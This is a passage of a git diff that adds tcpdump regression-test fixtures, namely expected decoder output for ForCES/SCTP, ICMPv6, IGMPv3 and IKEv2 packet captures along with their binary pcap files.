+23:39:20.265566 IP (tos 0x2,ECT(0), ttl 64, id 17, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179477] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:22.796350 IP (tos 0x2,ECT(0), ttl 64, id 18, offset 0, flags [DF], proto SCTP (132), length 112)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362573] [SID: 0] [SSEQ 9] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x9
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Del(0x5) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              PATH-DATA TLV, length 12 (data encapsulated 8 Bytes)
+               Pathdata: Flags 0x0 ID count 1
+                 ID#01: 2
+
+
+23:39:22.800525 IP (tos 0x2,ECT(0), ttl 64, id 19, offset 0, flags [DF], proto SCTP (132), length 108)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179478] [SID: 0] [SSEQ 9] [PPID 0x0] 
+	ForCES Config Response 
+	ForCES Version 1 len 60B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x9
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 36 (data length 32 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  DelResp(0x6) length 24
+           PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              RESULT TLV (Length 8 DataLen 4 Bytes)
+                Result: SUCCESS (code 0x0)
+
+
+23:39:22.995584 IP (tos 0x2,ECT(0), ttl 64, id 20, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362573] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:39:23.001212 IP (tos 0x2,ECT(0), ttl 64, id 19, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179478] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/icmpv6.out b/peasoup_examples/tests/tcpdump/tcpd_tests/icmpv6.out
new file mode 100644
index 0000000000000000000000000000000000000000..bb7775e21c9411e0eb9e7d9ee3f1b49c7596923f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/icmpv6.out
@@ -0,0 +1,26 @@
+IP6 (hlim 255, next-header ICMPv6 (58) payload length: 176) fe80::b299:28ff:fec8:d66c > ff02::1: [icmp6 sum ok] ICMP6, router advertisement, length 176
+	hop limit 64, Flags [home agent], pref medium, router lifetime 15s, reachable time 0s, retrans time 0s
+	  prefix info option (3), length 32 (4): 2222:3333:4444:5555:6600::/72, Flags [onlink, auto], valid time 2592000s, pref. time 604800s
+	    0x0000:  48c0 0027 8d00 0009 3a80 0000 0000 2222
+	    0x0010:  3333 4444 5555 6600 0000 0000 0000
+	  rdnss option (25), length 40 (5):  lifetime 5s, addr: abcd::efef addr: 1234:5678::1
+	    0x0000:  0000 0000 0005 abcd 0000 0000 0000 0000
+	    0x0010:  0000 0000 efef 1234 5678 0000 0000 0000
+	    0x0020:  0000 0000 0001
+	  dnssl option (31), length 56 (7):  lifetime 5s, domain(s): example.com. example.org. dom1.dom2.tld.
+	    0x0000:  0000 0000 0005 0765 7861 6d70 6c65 0363
+	    0x0010:  6f6d 0007 6578 616d 706c 6503 6f72 6700
+	    0x0020:  0464 6f6d 3104 646f 6d32 0374 6c64 0000
+	    0x0030:  0000 0000 0000
+	  mtu option (5), length 8 (1):  100
+	    0x0000:  0000 0000 0064
+	  source link-address option (1), length 8 (1): b0:99:28:c8:d6:6c
+	    0x0000:  b099 28c8 d66c
+	  advertisement interval option (7), length 8 (1):  5000ms
+	    0x0000:  0000 0000 1388
+	  homeagent information option (8), length 8 (1):  preference 50001, lifetime 15
+	    0x0000:  0000 c351 000f
+IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 1 group record(s) [gaddr ff02::db8:1122:3344 to_ex { }]
+IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::b2a8:6eff:fe0c:d4e8 > ff02::1: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener query v2 [max resp delay=10000] [gaddr :: robustness=2 qqi=60]
+IP6 (hlim 1, next-header Options (0) payload length: 96) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 4 group record(s) [gaddr ff02::db8:1122:3344 is_ex { }] [gaddr ff02::1:ffcc:e546 is_ex { }] [gaddr ff02::1:ffa7:10ad is_ex { }] [gaddr ff02::1:ff00:2 is_ex { }]
+IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 1 group record(s) [gaddr ff02::db8:1122:3344 to_in { }]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/icmpv6.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/icmpv6.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..d480e7230c32e66288c7bda68a0f1a0c61bcdfd7
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/icmpv6.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/igmpv3-queries.out b/peasoup_examples/tests/tcpdump/tcpd_tests/igmpv3-queries.out
new file mode 100644
index 0000000000000000000000000000000000000000..9db6f9bf6b5082bd9d0039120c943732339f1cdb
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/igmpv3-queries.out
@@ -0,0 +1,6 @@
+IP 192.2.0.2 > 224.0.0.1: igmp query v3
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 51m12s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 51m12s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 1.0s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 1.0s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 1.0s]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/igmpv3-queries.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/igmpv3-queries.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..df653ce60b2177cf10f7a6db7f7a55f6b3e9dae6
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/igmpv3-queries.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2four.out b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2four.out
new file mode 100644
index 0000000000000000000000000000000000000000..db2e8ef09fd874d25ab233a712dd70cffc2d8caa
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2four.out
@@ -0,0 +1,107 @@
+IP (tos 0x0, ttl 64, id 19908, offset 0, flags [none], proto UDP (17), length 404)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[I]:
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024)
+    (nonce: len=32 data=(6128ebd023a864e94a7f...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19909, offset 0, flags [none], proto UDP (17), length 88)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[R]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c6))
+IP (tos 0x0, ttl 64, id 19910, offset 0, flags [none], proto UDP (17), length 436)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[I]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024)
+    (nonce: len=32 data=(6128ebd023a864e94a7f...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19911, offset 0, flags [none], proto UDP (17), length 332)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[R]:
+    (sa: len=44
+        (p: #1 protoid=isakmp transform=4 len=44
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=prf id=hmac-sha )
+            (t: #3 type=integ id=hmac-sha )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=128 group=modp1024)
+    (nonce: len=32 data=(b31c379f272ce2984bd1...905954a783be2c37e2ccc4fdd270a532dbe6f428))
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19912, offset 0, flags [none], proto UDP (17), length 264)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000001: child_sa  ikev2_auth[I]:
+    (v2e: len=204)
+IP (tos 0x0, ttl 64, id 19913, offset 0, flags [none], proto UDP (17), length 184)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000001: child_sa  ikev2_auth[R]:
+    (v2e: len=124)
+IP (tos 0x0, ttl 64, id 19914, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000002: child_sa  child_sa[I]:
+    (v2e: len=220)
+IP (tos 0x0, ttl 64, id 19915, offset 0, flags [none], proto UDP (17), length 248)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000003: child_sa  child_sa[I]:
+    (v2e: len=188)
+IP (tos 0x0, ttl 64, id 19916, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000002: child_sa  child_sa[R]:
+    (v2e: len=44)
+IP (tos 0x0, ttl 64, id 19917, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000003: child_sa  child_sa[R]:
+    (v2e: len=44)
+IP (tos 0x0, ttl 64, id 19918, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000004: child_sa  child_sa[I]:
+    (v2e: len=252)
+IP (tos 0x0, ttl 64, id 19919, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000005: child_sa  child_sa[I]:
+    (v2e: len=220)
+IP (tos 0x0, ttl 64, id 19920, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000004: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19921, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000005: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19922, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000006: child_sa  child_sa[I]:
+    (v2e: len=252)
+IP (tos 0x0, ttl 64, id 19923, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000007: child_sa  child_sa[I]:
+    (v2e: len=220)
+IP (tos 0x0, ttl 64, id 19924, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000006: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19925, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000007: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19926, offset 0, flags [none], proto UDP (17), length 392)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000008: child_sa  child_sa[I]:
+    (v2e: len=332)
+IP (tos 0x0, ttl 64, id 19927, offset 0, flags [none], proto UDP (17), length 344)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000008: child_sa  child_sa[R]:
+    (v2e: len=284)
+IP (tos 0x0, ttl 64, id 19928, offset 0, flags [none], proto UDP (17), length 120)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000000: parent_sa inf2[I]:
+    (v2e: len=60)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2four.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2four.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..4b1d0bf3ff52d1266ef951243a132824e9648517
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2four.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2fourv.out b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2fourv.out
new file mode 100644
index 0000000000000000000000000000000000000000..15c482fbd0bbdd6deea3bbd9ea23a365e6626670
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2fourv.out
@@ -0,0 +1,107 @@
+IP (tos 0x0, ttl 64, id 19908, offset 0, flags [none], proto UDP (17), length 404)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0765 -> 0xf5df!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19909, offset 0, flags [none], proto UDP (17), length 88)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0629 -> 0x0cd0!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[R]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c6))
+IP (tos 0x0, ttl 64, id 19910, offset 0, flags [none], proto UDP (17), length 436)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0785 -> 0x7702!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19911, offset 0, flags [none], proto UDP (17), length 332)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x071d -> 0x8650!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->71be8358efae7663: parent_sa ikev2_init[R]:
+    (sa: len=44
+        (p: #1 protoid=isakmp transform=4 len=44
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=prf id=hmac-sha )
+            (t: #3 type=integ id=hmac-sha )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=128 group=modp1024 5a56714d3abf64e3a3f401ead9f5323ff0b77faa5f1e99199b13ac821f0a0c4f854786ca09b7a76aa508bcee11f16369a16d5fa041ca2d9a8dfa8228c61f2482d2175c5c1a9491fc221bec7a1fa69f656d4c98ba49ae9d721dedf4a02d7ecdfc201dc785a13ed74e4f3982762a2720ffdfc365ee4e37279af496cd86f881fd15)
+    (nonce: len=32 nonce=(b31c379f272ce2984bd17ca38c8729e1edbc081a14fb0f67cff81721dfeec1f9) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19912, offset 0, flags [none], proto UDP (17), length 264)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07d9 -> 0xb2d6!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[I]:
+    (v2e: len=204 f606135ad373e70836fda91b63ca4c608e1ad58218488c2647ff1e8a912958aa77efbc3068a2ae6ab7c3d0cb1e6fb864df99c62f2cc045708084708154a393c2f4cbefad1f6848525d49db563e13345a4e6e2fd066c04e2ce291f4714baec6bf328356c446247cab835bda3e8e1aae5967248f01eb3a1c02a541b4da09b3276b400d50a067542a678468c5f41e54017c00964f1003f8c88896a6f12215a5f1a060713cc83802cae3abee18417c0c35dc6f58a01adb96ed1c009c68e3069ae70f4b10afb7736c111ade4d826e)
+IP (tos 0x0, ttl 64, id 19913, offset 0, flags [none], proto UDP (17), length 184)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0689 -> 0x0748!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[R]:
+    (v2e: len=124 6afe95bc5147b0ad7e4ccb9141c160a44f7c6eddc6b29d414ad5e2b882544fdc6c3ee6983ae1408b5764b1649343876454d1bf4d515aaf03c15eafe71be6b4cf51ab60630c45bcf0e2a2db8eee70095a4e010fdb342adb6d03dae5def9d4907cdfc8ccd6f3da9b7497c58e84a952d983bafb941ab1de1b0bb9ffad3b)
+IP (tos 0x0, ttl 64, id 19914, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x35ac!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 53cc6c0b41f14e4fc057c7f6a3524adde8521f26f67c058430a902db1a52ed16d322630d2eb515372dc12d97dc7c20552607e2ed193d9b33939e10aa2fc37b6199f0a629c6b58135f5b6f9e07906cd30dc3cae7d55fe08d95d3e660a623731c396a325adbff11c490f9fd102224391a65fb7bbe862945b64cf1fb833b9ce68c83df0b9d2ce7bd54f650864af9445e547cdfe5caa393344ae5274933b7efcf616821ea7daa9c5a6e8275ad6c688700cb7f4bcd6fb8025e93bb6dd5f581faebcbecb798c87617a4ec1b06ba290ac5fc1d6e4c2725c1f9f0e10b144fbbe)
+IP (tos 0x0, ttl 64, id 19915, offset 0, flags [none], proto UDP (17), length 248)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x06c9 -> 0xdeaf!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=188 9603e03f280964782717da15a502f0a9e9f17dbf4487c6923cf00b7040d539bc947c705790e4e99b834a7ae2a8d79f5620e11615e0a762889aab821e0d03132dfb8cc6b3718582411bcd98c242a8b10a66274dae1ce055fb30a4d3e64c969be6e08b626958f4446c6e4a0c8d7a24522959c6152e63a575c06930c2097539bfbdff08c70533428cf6b452e0b8b0259c2292925d2ed62e8956bc7e3a911a61509be1ac8f7b7cd4636176e524f4d0f17573f2aeddce2251fd6d5d9cd54d)
+IP (tos 0x0, ttl 64, id 19916, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0xc72b!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 5bd2d26cb43b6cec30dec13fa387359797baf7b41e783422bc4dabf5d03ab2420d277d3b2f28d1f003da98d1)
+IP (tos 0x0, ttl 64, id 19917, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0x4119!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 38f60ab69110967961ae04af4e47a770260d61e29d18fb13ce093a47970068dacb342f7999cc3d0d59f77a94)
+IP (tos 0x0, ttl 64, id 19918, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0x236f!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=252 c7f2f1cc4997b30a61623222d4bfb535baa302199c4d8c1fdcfa745b0b29b5e7618ff0356848444d25010e5ad420760890ede066c838269b22d9e30d4fec1a012e731a210c243f803b661970d32e998e919f573c5742d2288949052c5a46a0cd7c4a1a295ede296c4fd9839b64dc4944e11a35f42a8ce18b447200fd03dbd58a71583b3a27c380148c801ce14452f7d756b1f55b10b84a58cfa9526001fff7157154645022e4456085517ceed98b79e20ed33297cf5ad80287e782728a8c6b87d2b422e7eeda1c72b33ebc51a5b76def9a59ffd1b4f97dec88c22a4f5448a71aeedf20c87dae5b44cd2e7a519d719a509f83f3b2faf6f5c607da609f)
+IP (tos 0x0, ttl 64, id 19919, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0xd8ba!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 dae6134a9cff1a4e3cc59a79e019a93f8469dd4e2faaaad1c3afba22ecd128fdb1e8954c753f8f62aeb6aac9732f414b065ec39569a670be6980c81eb3e44bc93ec63e9a754d0456c6703cd718371edeef674928180f9d14c39e52cfa4a517368e7db2fa0bfdb41cf56d97006233103f22650fdcd5ffab8418e40903e4749e126d06e9dc2a18cfd5bfda0013e3e9eb53e79bbe30eadf0f4ddcefbab0c08e870b29d39b2401c75b68fc46a066782857ca48d547e410ac15cabb6738875200b535cbd9ae1e1ce99839c9c25639070e5ed977809c50b6bb9550b50b49bb)
+IP (tos 0x0, ttl 64, id 19920, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x7194!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 1fd8516b57b1ab1bdbcdba1930a5097decc023c5c534497ca53f178b9d4d11228746454371b0cc6ec067e14e1e5c5652840cfdae0ea84c7f0a6e799ff7fb131d15763feef45e80f24716cde47d23527f68e055a7c3adc7225489295e1bc3f1029b63822872865df55c6c275dead8a6f64bda8ae44f42c318fa71eb04eed7312dafd2dd8665fd5d3225f3aae6f7335b581c3a89c07af1009871dea9927f046432cd01b04234204d01583baf3a)
+IP (tos 0x0, ttl 64, id 19921, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x6053!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 f6fc8113f34b92eb7d595a048f57d46593441ad9a61919e5919e7de4454fa35882937d3b74c83ab959fd053c6a12a51b04a0e92e01683782658bb9af2bbcc7a4bd5e1eef2dbcdc7715cac6eaecfbcc051a46f2263d1b8387bdad7e68c6e4ba1be9794e163e484768995a9f4a18edcbc6a44f0a74cb01c318e7848562e0866f388b8d04f14f1af87de7de6cee1f889d4330d82932a7127b7d1a934e641c32b76e33b37706d50286f8cbe335ba)
+IP (tos 0x0, ttl 64, id 19922, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0xfb68!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=252 0aa2636a3b897ff3fa8093282ad1724ec9f326b64bf998e781d6edbb77a369a8444dc47a4dc095ebd3ac3b1dc337570bc42c93cd6dcb7289bc99a90874e66cc4ede7a13a58ce17c65b185e86def83d66f4c4ddc433e66baf1834e54296671357a5139b0b63ebf32e652df0938badea5a960ee1758e00faa643bed85f7adee2e2e75baeec9e0df88857a67ca5f2a2f4919d0b272313d42c791eb75feca145756a0ccae3640ee98c16689df511443228846d2c5b8830ea6d149c1abed11ad0a28ca33993036e91965d48a82a898145ada994af55978696480ab6cb697e13e67968a7748c3338786efb77250e5411b3a7eac84cd221324bd7b9109d9a69)
+IP (tos 0x0, ttl 64, id 19923, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x9881!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
